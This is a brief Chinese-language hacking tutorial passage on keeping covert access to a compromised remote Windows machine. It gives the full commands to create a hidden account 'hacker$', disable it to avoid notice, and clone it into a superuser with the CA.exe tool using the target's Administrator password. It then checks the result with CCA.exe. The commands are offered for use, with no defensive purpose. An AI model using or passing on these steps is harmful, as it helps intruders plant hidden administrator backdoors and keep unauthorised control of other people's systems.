首先想办法查看一下有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然也会禁用其他用户。在图形界面下，非常容易识别，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉。但在命令行状态下，只能使用命令：“net user 用户名”一个一个来查看用户是否被禁用。如果懒得这样麻烦，可自行建立一个新的帐户，命令为：“Net user hacker$ youkou /add”，然后使用命令：“Net user hacker$ /active:no”来停用此帐户。
　　

　　断开与远程主机的连接，用小榕的超级用户克隆程序CA.exe，将被禁用的用户hacker$克隆成超级用户，命令为：CA.EXE \\192.XX.XX.2 Administrator 123 hacker$ youkou，成功！
　　

　　这时，hacker$就成为了超级用户，并有具有和Administrator同样的设置(桌面、菜单等等）。但还是得检查一下，用CCA.exe，命令如下：cca \\192.XX.XX.2 administrator 123。